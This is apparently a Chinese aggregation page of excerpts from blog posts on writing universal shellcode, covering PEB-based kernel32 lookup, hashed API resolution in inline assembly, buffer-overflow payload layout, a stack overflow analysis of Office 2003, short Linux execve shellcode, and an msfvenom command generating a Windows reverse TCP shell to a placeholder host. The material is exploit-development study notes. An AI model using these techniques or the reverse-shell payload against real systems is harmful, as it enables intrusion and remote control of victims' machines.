通用shellcode】的更多相关文章

所有 win_32 程序都会加载 ntdll.dll 和 kernel32.dll 这两个最基础的动态链接库.如果想要 在 win_32 平台下定位 kernel32.dll 中的 API 地址,可以采用如下方法. 首先通过段选择字 FS 在内存中找到当前的线程环境块 TEB. 线程环境块偏移位置为 0x30 的地方存放着指向进程环境块 PEB 的指针. 进程环境块中偏移位置为 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针, 其中,存放着已经被进程装载的动态链接库的信息.…
简易 ShellCode 虽然可以正常被执行,但是还存在很多的问题,因为上次所编写的 ShellCode 采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统一就会存在调用函数失败甚至是软件卡死的现象,下面我们通过编写一些定位程序,让 ShellCode 能够动态定位我们所需要的API函数地址,从而解决上节课中 ShellCode 的通用性问题. 查找 Kernel32.dll 基址 首先我们需要通过汇编的方式来实现动态定位 Kernel32 中的基地址,…
#include <stdio.h>#include <windows.h> int main(){ __asm { CLD //清空标志位DF push 0x1E380A6A //压入MessageBoxA-->user32.dll push 0x4FD18963 //压入ExitProcess-->kernel32.dll push 0x0C917432 //压入LoadLibraryA-->kernel32.dll mov esi,esp //esi=esp…
本节讲如果开发通用的 Shellcode. Shellcode 的组织 shellcode 的组织对成功地 exploit 很重要. 送入缓冲区的数据包括: . 填充物.一般用 0x90 (NOP) 填充于 shellcode 之前,这样只要跳转到填充区,就能执行 shellcode,为溢出提供了着床缓冲. . 淹没返回地址的数据.可能是跳转指令地址.shellcode 起始地址,或者近似的 shellcode 地址. . shellcode. 前些篇目中用过两种 shellcode 的组织方式…
MSFVENOM SHELLCODE生成 通用Shellcode msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f c -e generic/none Windows反向TCP Shell(Shellcode x86) 如果有效负载大小没有问题并且您不能确定错误的字符,请仅使用此代码: msfvenom -a x86 --platform windows -…
操作系统:Windows7 32位 专业版 Office:2003sp3_20120218.exe 工具:OD和IDA 1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出. 2漏洞分析: 1.获取poc: 网络下载 2.漏洞复现 安装office2003 sp3 直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞. 使用OD进行附加: 因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈…
实验 3.4 通用shellcode 工具 Windows XP SP3 Visual C++ 6.0 OD IDA 源代码 见随书代码,参考:https://github.com/jas502n/0day-security-software-vulnerability-analysis-technology 实验步骤 按书编写代码 运行测试 实验4.2 入侵Windows系统 实验环境 操作机:kali 靶机:Windows 2000 SP4 实验目标 学习使用metasploit-frame…
在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写. 32位 有"\x00"最短 20 byte xor ecx,ecx mul ecx mov al,0xb push 0x68732f push 0x6e69622f mov ebx,esp int 0x80 无"\x00"最短 21 byte xor ecx,ecx mul ecx pus…
前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellCode,是采用"硬编址"的方式来调用相应API函数的.也就是说,我们需要首先获取所要使用函数的地址,然后将该地址写入ShellCode,从而实现调用.这种方式对于所有的函数,通用性都是相当地差,试想,如果系统的版本变了,那么很多函数的地址往往都会发生变化,那么调用肯定就会失败了.所以本次的…
Shellcode 受到的限制 1. 大多数情况下 shellcode 中不允许出现 0x00 截断符,这个可以通过特殊指令来做到. 2. 有时候 shellcode 必须为可见的 ASCII 字符或 Unicode 值. 3. 网络攻击时,基于特征的 IDS 会对常见的 shellcode 进行拦截. 解决以上限制的一个办法是,对开发好的 shellcode 时行编码,使其达到限制要求.使用时,先构造解码代码,并放置在 shellcode 头部. 只需变更编码用的密钥,就能使 shellcod…